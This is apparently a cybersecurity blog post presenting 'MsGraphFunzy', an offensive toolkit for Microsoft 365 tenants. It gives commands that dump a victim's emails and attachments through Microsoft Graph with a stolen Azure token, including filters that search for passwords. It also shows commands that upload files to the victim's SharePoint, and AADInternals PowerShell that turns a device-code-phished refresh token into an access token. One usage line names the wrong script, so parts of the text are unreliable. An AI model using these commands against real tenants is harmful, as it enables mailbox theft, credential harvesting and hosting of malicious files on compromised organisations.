Cyber security

MsGraphFunzy – A Guide To Automating Email Dumps And SharePoint Hosting On Azure

Script to dump emails through Microsoft Graph API. it also include another script to push a file on the Azure tenant.

Usage graph_dump.py

This script dump emails and attachments

python3 graph_dump.py extended_azure_token_file_path (optional filter)

Filter Examples

'$search="body:password"'
'$search="subject:password"'
'$search="attachment:password"'

python3 graph_dump.py extended_azure_token_file_path '$search="body:password"'

Usage push_sharepoint.py

This script can be used to host on file on an Azure tenant

python3 extract_email.py extended_azure_token_file_path file_to_upload_path remote_filename (optional -organization)

Device Code Phishing Extended Scope

PS> install-module aadinternals
PS> import-module addinternals
PS> $t = Get-AADIntAccessTokenWithRefreshToken -clientid "d3590ed6-52b3-4102-aeff-aad2292ab01c" -resource "https://graph.microsoft.com" -tenantid "" -refreshtoken "" -savetocache 1 -includerefreshtoken 1
PS> Write-Output $t
Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

Create Sudo User on Ubuntu for Secure Admin Access

Managing a Linux server becomes much safer when you Create Sudo User accounts instead of…

2 hours ago

List Installed Packages on Ubuntu Like a Pro

Managing software on Linux becomes much easier when you know how to List Installed Packages…

4 hours ago

How To Use Variables In Bash Scripts

Introduction Variables are one of the most important basics of Bash scripting. A variable is…

22 hours ago

How To Run A Bash Script In Linux Step By Step

Introduction Running a Bash script in Linux is a basic but important skill for anyone…

22 hours ago

How To Write Your First Bash Script In Linux Step By Step

Introduction Writing your first Bash script in Linux is one of the best ways to…

22 hours ago

Install Docker on Ubuntu 24.04 With Easy Setup Guide

Docker has become one of the most important tools in modern software development. If you…

23 hours ago